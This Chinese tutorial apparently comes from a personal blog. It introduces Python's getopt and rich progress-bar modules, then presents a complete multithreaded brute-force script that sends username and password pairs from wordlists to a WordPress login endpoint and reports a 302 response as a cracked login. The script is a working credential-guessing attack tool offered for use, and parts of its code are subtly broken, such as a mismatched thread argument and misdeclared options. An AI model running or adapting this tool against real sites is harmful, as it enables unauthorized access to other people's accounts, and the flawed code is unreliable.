一、简介
利用爆破功能脚本,熟悉参数、进度条模块的使用。
二、模块介绍
参数模块
getopt函数
import sys, getopt
def main(argv):
inputfile = ''
outputfile = ''
try:
opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="])
except getopt.GetoptError:
print ('test.py -i <inputfile> -o <outputfile>')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ('test.py -i <inputfile> -o <outputfile>')
sys.exit()
elif opt in ("-i", "--ifile"):
inputfile = arg
elif opt in ("-o", "--ofile"):
outputfile = arg
print ('输入的文件为:', inputfile)
print ('输出的文件为:', outputfile)
if __name__ == "__main__":
main(sys.argv[1:])
说明:
语句 | 说明 |
---|---|
argv[1:] | 不限制参数数量(>1) |
try: pass except getopt.GetoptError: pass |
异常捕捉,参数不存在时报错,提示正确的用法 |
opts,args=getopt.getopt(argv,”hi:o”,[“ifile=”,”ofile=”]) | 定义短标签(-)和长标签(–) 短标签:表示必须有此参数,长标签=同理 注意!经实验得知, :、= 号使用时,只要会被用到传参的参数,都必须要加,否则会接收不到变量值。而不是说明文档中让人产生歧义的说法,让人误以为是可有可无的参数都不用加:、= |
for opt, arg in opts: if opt == ‘-h’: print ( 'test.py -i <inputfile> -o <outputfile>' ) sys.exit() elif opt in (“-i”, “–ifile”): inputfile = arg |
for循环判断匹配参数 ,opt为参数,arg为参数值 |
进度条模块
rich
from rich.progress import Progress # 模块导入
with Progress() as progress: # 模块初始化,需要嵌套在主进程函数之外,total标表示总任务数
task = progress.add_task('[green]Downloading...', total=1000)
while not progress.finished: # 任务函数用使用,更新进度条,advance每次更新的长度
progress.update(task, advance=5)
三、代码
'''
描述:爆破脚本,用户名+密码排列组合方式,推荐精简名字典
支持参数、进度条、Ctrl C功能
version:2.0
author:chen
date:2021-08-13
'''
import sys
import threading
import requests
import getopt
import queue
from rich.progress import Progress
# 参数处理
def para(argv):
global dicts
dicts = {'url': '', 'thread': '', 'delay': '', 'file_name': '', 'file_pass': ''}
try:
opts, args = getopt.getopt(argv, "u:hT:", ["url=", "fname=", "fpass=", "delay="])
except getopt.GetoptError:
print("python brute2.0.py -u http:test.com --fname C:\\Users\\Chen\\Desktop\\Temp\\user.txt --fpass C:\\Users\\Chen\\Desktop\\Temp\\pass.txt -T 100")
for opt, arg in opts:
if opt == '-h':
print("python brute2.0.py -u http:test.com --fname C:\\Users\\Chen\\Desktop\\Temp\\user.txt --fpass C:\\Users\\Chen\\Desktop\\Temp\\pass.txt -T 100")
exit()
elif opt in ("-u", "--url"):
dicts['url'] = arg
# print('url:', dicts['url'])
elif opt == '-T':
dicts['thread'] = arg
# print('线程:', dicts['thread'])
elif opt == '--delay':
dicts['delay'] = arg
# print('发包延时:%sms' % dicts['delay'])
elif opt == '--fname':
dicts['file_name'] = arg
# print('用户名字典:', dicts['file_name'])
elif opt == '--fpass':
dicts['file_pass'] = arg
# print('密码字典:', dicts['file_pass'])
# 初始化字典队列
def init(fname, fpass, q):
# 排列组合模式生成字典队列,两个都过大时会导致初始化很慢。
# 建议精简用户名字典,合适的密码字典
print('正在初始化字典队列...')
for i in open(fname):
for j in open(fpass):
# 以列表形式写入队列
q.put([i.strip(), j.strip()])
print('字典队列初始化完毕!')
def run(q, BarId, url):
while not q.empty():
que = q.get()
# 爆破目标的核心数据包,根据实际情况更改
data = {
"log": que[0],
"pwd": que[1],
"wp-submit": "%E7%99%BB%E5%BD%95"
}
# 代理,自定义
proxy = {
'http': 'http://127.0.0.1:7890',
'https': 'https://127.0.0.1:7890'
}
# 发包,禁止302跳转,否则抓不到302返回状态码
# 可取消代理
rep = requests.post(url=url, data=data, allow_redirects=False)
if rep.status_code == 302:
print('\033[32m爆破成功! {0}:{1}\033[0m' .format(que[0], que[1]))
# 爆破成功进度条拉满,触发主进程守护,结束进程
progress.update(BarId, advance=999999999)
# 更新进度条
progress.update(BarId, advance=1)
if __name__ == '__main__':
dicts = {}
q = queue.Queue()
# 初始化参数
para(sys.argv[1:])
# 初始化队列
url = dicts['url']
delay = dicts['delay']
init(dicts['file_name'], dicts['file_pass'], q)
# 进度条初始化
with Progress() as progress:
BarId = progress.add_task('[green]Status:', total=q.qsize())
# 多线程数量
for i in range(int(dicts['thread'])):
# 设置主线程守护
t = threading.Thread(target=run, args=[q, BarId, url, delay], daemon=True)
t.start()
# 进度条结束,终止主程序运行
# 解决Ctrl+C终止程序 和 程序自动结束的问题
while not progress.finished:
pass
4、下载